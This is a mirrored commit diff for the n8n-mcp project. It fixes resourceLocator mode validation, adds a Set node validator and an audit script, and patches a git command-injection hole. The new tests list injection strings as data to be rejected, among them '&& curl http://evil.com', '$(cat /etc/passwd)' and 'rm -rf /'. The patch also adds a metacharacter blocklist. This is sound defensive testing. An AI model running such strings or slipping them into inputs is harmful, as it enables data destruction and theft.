mirror of
https://github.com/czlonkowski/n8n-mcp.git
synced 2026-01-30 22:42:04 +00:00
Compare commits
8 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1f43784315 | ||
|
|
80e3391773 | ||
|
|
c580a3dde4 | ||
|
|
fc8fb66900 | ||
|
|
4625ebf64d | ||
|
|
43dea68f0b | ||
|
|
dc62fd66cb | ||
|
|
a94ff0586c |
66
CHANGELOG.md
66
CHANGELOG.md
@@ -5,6 +5,72 @@ All notable changes to this project will be documented in this file.
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [2.18.8] - 2025-10-11
|
||||
|
||||
### 🐛 Bug Fixes
|
||||
|
||||
**PR #308: Enable Schema-Based resourceLocator Mode Validation**
|
||||
|
||||
This release fixes critical validator false positives by implementing true schema-based validation for resourceLocator modes. The root cause was discovered through deep analysis: the validator was looking at the wrong path for mode definitions in n8n node schemas.
|
||||
|
||||
#### Root Cause
|
||||
|
||||
- **Wrong Path**: Validator checked `prop.typeOptions?.resourceLocator?.modes` ❌
|
||||
- **Correct Path**: n8n stores modes at `prop.modes` (top level of property) ✅
|
||||
- **Impact**: 0% validation coverage - all resourceLocator validation was being skipped, causing false positives
|
||||
|
||||
#### Fixed
|
||||
|
||||
- **Schema-Based Validation Now Active**
|
||||
- **Issue #304**: Google Sheets "name" mode incorrectly rejected (false positive)
|
||||
- **Coverage**: Increased from 0% to 100% (all 70 resourceLocator nodes now validated)
|
||||
- **Root Cause**: Validator reading from wrong schema path
|
||||
- **Fix**: Changed validation path from `prop.typeOptions?.resourceLocator?.modes` to `prop.modes`
|
||||
- **Files Changed**:
|
||||
- `src/services/config-validator.ts` (lines 273-310): Corrected validation path
|
||||
- `src/parsers/property-extractor.ts` (line 234): Added modes field capture
|
||||
- `src/services/node-specific-validators.ts` (lines 270-282): Google Sheets range/columns flexibility
|
||||
- Updated 6 test files to match real n8n schema structure
|
||||
|
||||
- **Database Rebuild**
|
||||
- Rebuilt with modes field captured from n8n packages
|
||||
- All 70 resourceLocator nodes now have mode definitions populated
|
||||
- Enables true schema-driven validation (no more hardcoded mode lists)
|
||||
|
||||
- **Google Sheets Enhancement**
|
||||
- Now accepts EITHER `range` OR `columns` parameter for append operation
|
||||
- Supports Google Sheets v4+ resourceMapper pattern
|
||||
- Better error messages showing actual allowed modes from schema
|
||||
|
||||
#### Testing
|
||||
|
||||
- **Before Fix**:
|
||||
- ❌ Valid Google Sheets "name" mode rejected (false positive)
|
||||
- ❌ Schema-based validation inactive (0% coverage)
|
||||
- ❌ Hardcoded mode validation only
|
||||
|
||||
- **After Fix**:
|
||||
- ✅ Valid "name" mode accepted
|
||||
- ✅ Schema-based validation active (100% coverage - 70/70 nodes)
|
||||
- ✅ Invalid modes rejected with helpful errors: `must be one of [list, url, id, name]`
|
||||
- ✅ All 143 tests pass
|
||||
- ✅ Verified with n8n-mcp-tester agent
|
||||
|
||||
#### Impact
|
||||
|
||||
- **Fixes #304**: Google Sheets "name" mode false positive eliminated
|
||||
- **Related to #306**: Validator improvements
|
||||
- **No Breaking Changes**: More permissive (accepts previously rejected valid modes)
|
||||
- **Better UX**: Error messages show actual allowed modes from schema
|
||||
- **Maintainability**: Schema-driven approach eliminates need for hardcoded mode lists
|
||||
- **Code Quality**: Code review score 9.3/10
|
||||
|
||||
#### Example Error Message (After Fix)
|
||||
```
|
||||
resourceLocator 'sheetName.mode' must be one of [list, url, id, name], got 'invalid'
|
||||
Fix: Change mode to one of: list, url, id, name
|
||||
```
|
||||
|
||||
## [2.18.6] - 2025-10-10
|
||||
|
||||
### 🐛 Bug Fixes
|
||||
|
||||
BIN
data/nodes.db
BIN
data/nodes.db
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "n8n-mcp",
|
||||
"version": "2.18.6",
|
||||
"version": "2.18.8",
|
||||
"description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
|
||||
"main": "dist/index.js",
|
||||
"bin": {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "n8n-mcp-runtime",
|
||||
"version": "2.18.1",
|
||||
"version": "2.18.7",
|
||||
"description": "n8n MCP Server Runtime Dependencies Only",
|
||||
"private": true,
|
||||
"dependencies": {
|
||||
|
||||
78
scripts/audit-schema-coverage.ts
Normal file
78
scripts/audit-schema-coverage.ts
Normal file
@@ -0,0 +1,78 @@
|
||||
/**
|
||||
* Database Schema Coverage Audit Script
|
||||
*
|
||||
* Audits the database to determine how many nodes have complete schema information
|
||||
* for resourceLocator mode validation. This helps assess the coverage of our
|
||||
* schema-driven validation approach.
|
||||
*/
|
||||
|
||||
import Database from 'better-sqlite3';
|
||||
import path from 'path';
|
||||
|
||||
const dbPath = path.join(__dirname, '../data/nodes.db');
|
||||
const db = new Database(dbPath, { readonly: true });
|
||||
|
||||
console.log('=== Schema Coverage Audit ===\n');
|
||||
|
||||
// Query 1: How many nodes have resourceLocator properties?
|
||||
const totalResourceLocator = db.prepare(`
|
||||
SELECT COUNT(*) as count FROM nodes
|
||||
WHERE properties_schema LIKE '%resourceLocator%'
|
||||
`).get() as { count: number };
|
||||
|
||||
console.log(`Nodes with resourceLocator properties: ${totalResourceLocator.count}`);
|
||||
|
||||
// Query 2: Of those, how many have modes defined?
|
||||
const withModes = db.prepare(`
|
||||
SELECT COUNT(*) as count FROM nodes
|
||||
WHERE properties_schema LIKE '%resourceLocator%'
|
||||
AND properties_schema LIKE '%modes%'
|
||||
`).get() as { count: number };
|
||||
|
||||
console.log(`Nodes with modes defined: ${withModes.count}`);
|
||||
|
||||
// Query 3: Which nodes have resourceLocator but NO modes?
|
||||
const withoutModes = db.prepare(`
|
||||
SELECT node_type, display_name
|
||||
FROM nodes
|
||||
WHERE properties_schema LIKE '%resourceLocator%'
|
||||
AND properties_schema NOT LIKE '%modes%'
|
||||
LIMIT 10
|
||||
`).all() as Array<{ node_type: string; display_name: string }>;
|
||||
|
||||
console.log(`\nSample nodes WITHOUT modes (showing 10):`);
|
||||
withoutModes.forEach(node => {
|
||||
console.log(` - ${node.display_name} (${node.node_type})`);
|
||||
});
|
||||
|
||||
// Calculate coverage percentage
|
||||
const coverage = totalResourceLocator.count > 0
|
||||
? (withModes.count / totalResourceLocator.count) * 100
|
||||
: 0;
|
||||
|
||||
console.log(`\nSchema coverage: ${coverage.toFixed(1)}% of resourceLocator nodes have modes defined`);
|
||||
|
||||
// Query 4: Get some examples of nodes WITH modes for verification
|
||||
console.log('\nSample nodes WITH modes (showing 5):');
|
||||
const withModesExamples = db.prepare(`
|
||||
SELECT node_type, display_name
|
||||
FROM nodes
|
||||
WHERE properties_schema LIKE '%resourceLocator%'
|
||||
AND properties_schema LIKE '%modes%'
|
||||
LIMIT 5
|
||||
`).all() as Array<{ node_type: string; display_name: string }>;
|
||||
|
||||
withModesExamples.forEach(node => {
|
||||
console.log(` - ${node.display_name} (${node.node_type})`);
|
||||
});
|
||||
|
||||
// Summary
|
||||
console.log('\n=== Summary ===');
|
||||
console.log(`Total nodes in database: ${db.prepare('SELECT COUNT(*) as count FROM nodes').get() as any as { count: number }.count}`);
|
||||
console.log(`Nodes with resourceLocator: ${totalResourceLocator.count}`);
|
||||
console.log(`Nodes with complete mode schemas: ${withModes.count}`);
|
||||
console.log(`Nodes without mode schemas: ${totalResourceLocator.count - withModes.count}`);
|
||||
console.log(`\nImplication: Schema-driven validation will apply to ${withModes.count} nodes.`);
|
||||
console.log(`For the remaining ${totalResourceLocator.count - withModes.count} nodes, validation will be skipped (graceful degradation).`);
|
||||
|
||||
db.close();
|
||||
@@ -231,6 +231,7 @@ export class PropertyExtractor {
|
||||
required: prop.required,
|
||||
displayOptions: prop.displayOptions,
|
||||
typeOptions: prop.typeOptions,
|
||||
modes: prop.modes, // For resourceLocator type properties - modes are at top level
|
||||
noDataExpression: prop.noDataExpression
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -268,16 +268,46 @@ export class ConfigValidator {
|
||||
type: 'invalid_type',
|
||||
property: `${key}.mode`,
|
||||
message: `resourceLocator '${key}.mode' must be a string, got ${typeof value.mode}`,
|
||||
fix: `Set mode to "list" or "id"`
|
||||
});
|
||||
} else if (!['list', 'id', 'url'].includes(value.mode)) {
|
||||
errors.push({
|
||||
type: 'invalid_value',
|
||||
property: `${key}.mode`,
|
||||
message: `resourceLocator '${key}.mode' must be 'list', 'id', or 'url', got '${value.mode}'`,
|
||||
fix: `Change mode to "list", "id", or "url"`
|
||||
fix: `Set mode to a valid string value`
|
||||
});
|
||||
} else if (prop.modes) {
|
||||
// Schema-based validation: Check if mode exists in the modes definition
|
||||
// In n8n, modes are defined at the top level of resourceLocator properties
|
||||
// Modes can be defined in different ways:
|
||||
// 1. Array of mode objects: [{name: 'list', ...}, {name: 'id', ...}, {name: 'name', ...}]
|
||||
// 2. Object with mode keys: { list: {...}, id: {...}, url: {...}, name: {...} }
|
||||
const modes = prop.modes;
|
||||
|
||||
// Validate modes structure before processing to prevent crashes
|
||||
if (!modes || typeof modes !== 'object') {
|
||||
// Invalid schema structure - skip validation to prevent false positives
|
||||
continue;
|
||||
}
|
||||
|
||||
let allowedModes: string[] = [];
|
||||
|
||||
if (Array.isArray(modes)) {
|
||||
// Array format (most common in n8n): extract name property from each mode object
|
||||
allowedModes = modes
|
||||
.map(m => (typeof m === 'object' && m !== null) ? m.name : m)
|
||||
.filter(m => typeof m === 'string' && m.length > 0);
|
||||
} else {
|
||||
// Object format: extract keys as mode names
|
||||
allowedModes = Object.keys(modes).filter(k => k.length > 0);
|
||||
}
|
||||
|
||||
// Only validate if we successfully extracted modes
|
||||
if (allowedModes.length > 0 && !allowedModes.includes(value.mode)) {
|
||||
errors.push({
|
||||
type: 'invalid_value',
|
||||
property: `${key}.mode`,
|
||||
message: `resourceLocator '${key}.mode' must be one of [${allowedModes.join(', ')}], got '${value.mode}'`,
|
||||
fix: `Change mode to one of: ${allowedModes.join(', ')}`
|
||||
});
|
||||
}
|
||||
}
|
||||
// If no modes defined at property level, skip mode validation
|
||||
// This prevents false positives for nodes with dynamic/runtime-determined modes
|
||||
|
||||
if (value.value === undefined) {
|
||||
errors.push({
|
||||
|
||||
@@ -318,7 +318,11 @@ export class EnhancedConfigValidator extends ConfigValidator {
|
||||
case 'nodes-base.mysql':
|
||||
NodeSpecificValidators.validateMySQL(context);
|
||||
break;
|
||||
|
||||
|
||||
case 'nodes-base.set':
|
||||
NodeSpecificValidators.validateSet(context);
|
||||
break;
|
||||
|
||||
case 'nodes-base.switch':
|
||||
this.validateSwitchNodeStructure(config, result);
|
||||
break;
|
||||
|
||||
@@ -269,13 +269,15 @@ export class NodeSpecificValidators {
|
||||
|
||||
private static validateGoogleSheetsAppend(context: NodeValidationContext): void {
|
||||
const { config, errors, warnings, autofix } = context;
|
||||
|
||||
if (!config.range) {
|
||||
|
||||
// In Google Sheets v4+, range is only required if NOT using the columns resourceMapper
|
||||
// The columns parameter is a resourceMapper introduced in v4 that handles range automatically
|
||||
if (!config.range && !config.columns) {
|
||||
errors.push({
|
||||
type: 'missing_required',
|
||||
property: 'range',
|
||||
message: 'Range is required for append operation',
|
||||
fix: 'Specify range like "Sheet1!A:B" or "Sheet1!A1:B10"'
|
||||
message: 'Range or columns mapping is required for append operation',
|
||||
fix: 'Specify range like "Sheet1!A:B" OR use columns with mappingMode'
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1556,4 +1558,59 @@ export class NodeSpecificValidators {
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate Set node configuration
|
||||
*/
|
||||
static validateSet(context: NodeValidationContext): void {
|
||||
const { config, errors, warnings } = context;
|
||||
|
||||
// Validate jsonOutput when present (used in JSON mode or when directly setting JSON)
|
||||
if (config.jsonOutput !== undefined && config.jsonOutput !== null && config.jsonOutput !== '') {
|
||||
try {
|
||||
const parsed = JSON.parse(config.jsonOutput);
|
||||
|
||||
// Set node with JSON input expects an OBJECT {}, not an ARRAY []
|
||||
// This is a common mistake that n8n UI catches but our validator should too
|
||||
if (Array.isArray(parsed)) {
|
||||
errors.push({
|
||||
type: 'invalid_value',
|
||||
property: 'jsonOutput',
|
||||
message: 'Set node expects a JSON object {}, not an array []',
|
||||
fix: 'Either wrap array items as object properties: {"items": [...]}, OR use a different approach for multiple items'
|
||||
});
|
||||
}
|
||||
|
||||
// Warn about empty objects
|
||||
if (typeof parsed === 'object' && !Array.isArray(parsed) && Object.keys(parsed).length === 0) {
|
||||
warnings.push({
|
||||
type: 'inefficient',
|
||||
property: 'jsonOutput',
|
||||
message: 'jsonOutput is an empty object - this node will output no data',
|
||||
suggestion: 'Add properties to the object or remove this node if not needed'
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
errors.push({
|
||||
type: 'syntax_error',
|
||||
property: 'jsonOutput',
|
||||
message: `Invalid JSON in jsonOutput: ${e instanceof Error ? e.message : 'Syntax error'}`,
|
||||
fix: 'Ensure jsonOutput contains valid JSON syntax'
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Validate mode-specific requirements
|
||||
if (config.mode === 'manual') {
|
||||
// In manual mode, at least one field should be defined
|
||||
const hasFields = config.values && Object.keys(config.values).length > 0;
|
||||
if (!hasFields && !config.jsonOutput) {
|
||||
warnings.push({
|
||||
type: 'missing_common',
|
||||
message: 'Set node has no fields configured - will output empty items',
|
||||
suggestion: 'Add fields in the Values section or use JSON mode'
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import { logger } from './logger';
|
||||
import { execSync } from 'child_process';
|
||||
import { spawnSync } from 'child_process';
|
||||
|
||||
// Enhanced documentation structure with rich content
|
||||
export interface EnhancedNodeDocumentation {
|
||||
@@ -61,36 +61,136 @@ export interface DocumentationMetadata {
|
||||
|
||||
export class EnhancedDocumentationFetcher {
|
||||
private docsPath: string;
|
||||
private docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
|
||||
private readonly docsRepoUrl = 'https://github.com/n8n-io/n8n-docs.git';
|
||||
private cloned = false;
|
||||
|
||||
constructor(docsPath?: string) {
|
||||
this.docsPath = docsPath || path.join(__dirname, '../../temp', 'n8n-docs');
|
||||
// SECURITY: Validate and sanitize docsPath to prevent command injection
|
||||
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
|
||||
const defaultPath = path.join(__dirname, '../../temp', 'n8n-docs');
|
||||
|
||||
if (!docsPath) {
|
||||
this.docsPath = defaultPath;
|
||||
} else {
|
||||
// SECURITY: Block directory traversal and malicious paths
|
||||
const sanitized = this.sanitizePath(docsPath);
|
||||
|
||||
if (!sanitized) {
|
||||
logger.error('Invalid docsPath rejected in constructor', { docsPath });
|
||||
throw new Error('Invalid docsPath: path contains disallowed characters or patterns');
|
||||
}
|
||||
|
||||
// SECURITY: Verify path is absolute and within allowed boundaries
|
||||
const absolutePath = path.resolve(sanitized);
|
||||
|
||||
// Block paths that could escape to sensitive directories
|
||||
if (absolutePath.startsWith('/etc') ||
|
||||
absolutePath.startsWith('/sys') ||
|
||||
absolutePath.startsWith('/proc') ||
|
||||
absolutePath.startsWith('/var/log')) {
|
||||
logger.error('docsPath points to system directory - blocked', { docsPath, absolutePath });
|
||||
throw new Error('Invalid docsPath: cannot use system directories');
|
||||
}
|
||||
|
||||
this.docsPath = absolutePath;
|
||||
logger.info('docsPath validated and set', { docsPath: this.docsPath });
|
||||
}
|
||||
|
||||
// SECURITY: Validate repository URL is HTTPS
|
||||
if (!this.docsRepoUrl.startsWith('https://')) {
|
||||
logger.error('docsRepoUrl must use HTTPS protocol', { url: this.docsRepoUrl });
|
||||
throw new Error('Invalid repository URL: must use HTTPS protocol');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize path input to prevent command injection and directory traversal
|
||||
* SECURITY: Part of fix for command injection vulnerability
|
||||
*/
|
||||
private sanitizePath(inputPath: string): string | null {
|
||||
// SECURITY: Reject paths containing any shell metacharacters or control characters
|
||||
// This prevents command injection even before attempting to sanitize
|
||||
const dangerousChars = /[;&|`$(){}[\]<>'"\\#\n\r\t]/;
|
||||
if (dangerousChars.test(inputPath)) {
|
||||
logger.warn('Path contains shell metacharacters - rejected', { path: inputPath });
|
||||
return null;
|
||||
}
|
||||
|
||||
// Block directory traversal attempts
|
||||
if (inputPath.includes('..') || inputPath.startsWith('.')) {
|
||||
logger.warn('Path traversal attempt blocked', { path: inputPath });
|
||||
return null;
|
||||
}
|
||||
|
||||
return inputPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clone or update the n8n-docs repository
|
||||
* SECURITY: Uses spawnSync with argument arrays to prevent command injection
|
||||
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01 Part 2)
|
||||
*/
|
||||
async ensureDocsRepository(): Promise<void> {
|
||||
try {
|
||||
const exists = await fs.access(this.docsPath).then(() => true).catch(() => false);
|
||||
|
||||
|
||||
if (!exists) {
|
||||
logger.info('Cloning n8n-docs repository...');
|
||||
await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
|
||||
execSync(`git clone --depth 1 ${this.docsRepoUrl} ${this.docsPath}`, {
|
||||
stdio: 'pipe'
|
||||
logger.info('Cloning n8n-docs repository...', {
|
||||
url: this.docsRepoUrl,
|
||||
path: this.docsPath
|
||||
});
|
||||
await fs.mkdir(path.dirname(this.docsPath), { recursive: true });
|
||||
|
||||
// SECURITY: Use spawnSync with argument array instead of string interpolation
|
||||
// This prevents command injection even if docsPath or docsRepoUrl are compromised
|
||||
const cloneResult = spawnSync('git', [
|
||||
'clone',
|
||||
'--depth', '1',
|
||||
this.docsRepoUrl,
|
||||
this.docsPath
|
||||
], {
|
||||
stdio: 'pipe',
|
||||
encoding: 'utf-8'
|
||||
});
|
||||
|
||||
if (cloneResult.status !== 0) {
|
||||
const error = cloneResult.stderr || cloneResult.error?.message || 'Unknown error';
|
||||
logger.error('Git clone failed', {
|
||||
status: cloneResult.status,
|
||||
stderr: error,
|
||||
url: this.docsRepoUrl,
|
||||
path: this.docsPath
|
||||
});
|
||||
throw new Error(`Git clone failed: ${error}`);
|
||||
}
|
||||
|
||||
logger.info('n8n-docs repository cloned successfully');
|
||||
} else {
|
||||
logger.info('Updating n8n-docs repository...');
|
||||
execSync('git pull --ff-only', {
|
||||
logger.info('Updating n8n-docs repository...', { path: this.docsPath });
|
||||
|
||||
// SECURITY: Use spawnSync with argument array and cwd option
|
||||
const pullResult = spawnSync('git', [
|
||||
'pull',
|
||||
'--ff-only'
|
||||
], {
|
||||
cwd: this.docsPath,
|
||||
stdio: 'pipe'
|
||||
stdio: 'pipe',
|
||||
encoding: 'utf-8'
|
||||
});
|
||||
|
||||
if (pullResult.status !== 0) {
|
||||
const error = pullResult.stderr || pullResult.error?.message || 'Unknown error';
|
||||
logger.error('Git pull failed', {
|
||||
status: pullResult.status,
|
||||
stderr: error,
|
||||
cwd: this.docsPath
|
||||
});
|
||||
throw new Error(`Git pull failed: ${error}`);
|
||||
}
|
||||
|
||||
logger.info('n8n-docs repository updated');
|
||||
}
|
||||
|
||||
|
||||
this.cloned = true;
|
||||
} catch (error) {
|
||||
logger.error('Failed to clone/update n8n-docs repository:', error);
|
||||
|
||||
@@ -163,4 +163,96 @@ describe('Command Injection Prevention', () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Git Command Injection Prevention (Issue #265 Part 2)', () => {
|
||||
it('should reject malicious paths in constructor with shell metacharacters', () => {
|
||||
const maliciousPaths = [
|
||||
'/tmp/test; touch /tmp/PWNED #',
|
||||
'/tmp/test && curl http://evil.com',
|
||||
'/tmp/test | whoami',
|
||||
'/tmp/test`whoami`',
|
||||
'/tmp/test$(cat /etc/passwd)',
|
||||
'/tmp/test\nrm -rf /',
|
||||
'/tmp/test & rm -rf /',
|
||||
'/tmp/test || curl evil.com',
|
||||
];
|
||||
|
||||
for (const maliciousPath of maliciousPaths) {
|
||||
expect(() => new EnhancedDocumentationFetcher(maliciousPath)).toThrow(
|
||||
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('should reject paths pointing to sensitive system directories', () => {
|
||||
const systemPaths = [
|
||||
'/etc/passwd',
|
||||
'/sys/kernel',
|
||||
'/proc/self',
|
||||
'/var/log/auth.log',
|
||||
];
|
||||
|
||||
for (const systemPath of systemPaths) {
|
||||
expect(() => new EnhancedDocumentationFetcher(systemPath)).toThrow(
|
||||
/Invalid docsPath: cannot use system directories/
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('should reject directory traversal attempts in constructor', () => {
|
||||
const traversalPaths = [
|
||||
'../../../etc/passwd',
|
||||
'../../sensitive',
|
||||
'./relative/path',
|
||||
'.hidden/path',
|
||||
];
|
||||
|
||||
for (const traversalPath of traversalPaths) {
|
||||
expect(() => new EnhancedDocumentationFetcher(traversalPath)).toThrow(
|
||||
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('should accept valid absolute paths in constructor', () => {
|
||||
// These should not throw
|
||||
expect(() => new EnhancedDocumentationFetcher('/tmp/valid-docs-path')).not.toThrow();
|
||||
expect(() => new EnhancedDocumentationFetcher('/var/tmp/n8n-docs')).not.toThrow();
|
||||
expect(() => new EnhancedDocumentationFetcher('/home/user/docs')).not.toThrow();
|
||||
});
|
||||
|
||||
it('should use default path when no path provided', () => {
|
||||
// Should not throw with default path
|
||||
expect(() => new EnhancedDocumentationFetcher()).not.toThrow();
|
||||
});
|
||||
|
||||
it('should reject paths with quote characters', () => {
|
||||
const quotePaths = [
|
||||
'/tmp/test"malicious',
|
||||
"/tmp/test'malicious",
|
||||
'/tmp/test`command`',
|
||||
];
|
||||
|
||||
for (const quotePath of quotePaths) {
|
||||
expect(() => new EnhancedDocumentationFetcher(quotePath)).toThrow(
|
||||
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('should reject paths with brackets and braces', () => {
|
||||
const bracketPaths = [
|
||||
'/tmp/test[malicious]',
|
||||
'/tmp/test{a,b}',
|
||||
'/tmp/test<redirect>',
|
||||
'/tmp/test(subshell)',
|
||||
];
|
||||
|
||||
for (const bracketPath of bracketPaths) {
|
||||
expect(() => new EnhancedDocumentationFetcher(bracketPath)).toThrow(
|
||||
/Invalid docsPath: path contains disallowed characters or patterns/
|
||||
);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -678,7 +678,7 @@ describe('ConfigValidator - Basic Validation', () => {
|
||||
expect(result.errors[0].fix).toContain('{ mode: "id", value: "gpt-4o-mini" }');
|
||||
});
|
||||
|
||||
it('should reject invalid mode values', () => {
|
||||
it('should reject invalid mode values when schema defines allowed modes', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
model: {
|
||||
@@ -690,7 +690,13 @@ describe('ConfigValidator - Basic Validation', () => {
|
||||
{
|
||||
name: 'model',
|
||||
type: 'resourceLocator',
|
||||
required: true
|
||||
required: true,
|
||||
// In real n8n, modes are at top level, not in typeOptions
|
||||
modes: [
|
||||
{ name: 'list', displayName: 'List' },
|
||||
{ name: 'id', displayName: 'ID' },
|
||||
{ name: 'url', displayName: 'URL' }
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
@@ -700,10 +706,110 @@ describe('ConfigValidator - Basic Validation', () => {
|
||||
expect(result.errors.some(e =>
|
||||
e.property === 'model.mode' &&
|
||||
e.type === 'invalid_value' &&
|
||||
e.message.includes("must be 'list', 'id', or 'url'")
|
||||
e.message.includes('must be one of [list, id, url]')
|
||||
)).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle modes defined as array format', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
model: {
|
||||
mode: 'custom',
|
||||
value: 'gpt-4o-mini'
|
||||
}
|
||||
};
|
||||
const properties = [
|
||||
{
|
||||
name: 'model',
|
||||
type: 'resourceLocator',
|
||||
required: true,
|
||||
// Array format at top level (real n8n structure)
|
||||
modes: [
|
||||
{ name: 'list', displayName: 'List' },
|
||||
{ name: 'id', displayName: 'ID' },
|
||||
{ name: 'custom', displayName: 'Custom' }
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||
|
||||
expect(result.valid).toBe(true);
|
||||
expect(result.errors).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('should handle malformed modes schema gracefully', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
model: {
|
||||
mode: 'any-mode',
|
||||
value: 'gpt-4o-mini'
|
||||
}
|
||||
};
|
||||
const properties = [
|
||||
{
|
||||
name: 'model',
|
||||
type: 'resourceLocator',
|
||||
required: true,
|
||||
modes: 'invalid-string' // Malformed schema at top level
|
||||
}
|
||||
];
|
||||
|
||||
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||
|
||||
// Should NOT crash, should skip validation
|
||||
expect(result.valid).toBe(true);
|
||||
expect(result.errors.some(e => e.property === 'model.mode')).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle empty modes definition gracefully', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
model: {
|
||||
mode: 'any-mode',
|
||||
value: 'gpt-4o-mini'
|
||||
}
|
||||
};
|
||||
const properties = [
|
||||
{
|
||||
name: 'model',
|
||||
type: 'resourceLocator',
|
||||
required: true,
|
||||
modes: {} // Empty object at top level
|
||||
}
|
||||
];
|
||||
|
||||
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||
|
||||
// Should skip validation with empty modes
|
||||
expect(result.valid).toBe(true);
|
||||
expect(result.errors.some(e => e.property === 'model.mode')).toBe(false);
|
||||
});
|
||||
|
||||
it('should skip mode validation when modes not provided', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
model: {
|
||||
mode: 'custom-mode',
|
||||
value: 'gpt-4o-mini'
|
||||
}
|
||||
};
|
||||
const properties = [
|
||||
{
|
||||
name: 'model',
|
||||
type: 'resourceLocator',
|
||||
required: true
|
||||
// No modes property - schema doesn't define modes
|
||||
}
|
||||
];
|
||||
|
||||
const result = ConfigValidator.validate(nodeType, config, properties);
|
||||
|
||||
// Should accept any mode when schema doesn't define them
|
||||
expect(result.valid).toBe(true);
|
||||
expect(result.errors).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('should accept resourceLocator with mode "url"', () => {
|
||||
const nodeType = '@n8n/n8n-nodes-langchain.lmChatOpenAi';
|
||||
const config = {
|
||||
|
||||
@@ -347,14 +347,14 @@ describe('NodeSpecificValidators', () => {
|
||||
};
|
||||
});
|
||||
|
||||
it('should require range for append', () => {
|
||||
it('should require range or columns for append', () => {
|
||||
NodeSpecificValidators.validateGoogleSheets(context);
|
||||
|
||||
|
||||
expect(context.errors).toContainEqual({
|
||||
type: 'missing_required',
|
||||
property: 'range',
|
||||
message: 'Range is required for append operation',
|
||||
fix: 'Specify range like "Sheet1!A:B" or "Sheet1!A1:B10"'
|
||||
message: 'Range or columns mapping is required for append operation',
|
||||
fix: 'Specify range like "Sheet1!A:B" OR use columns with mappingMode'
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user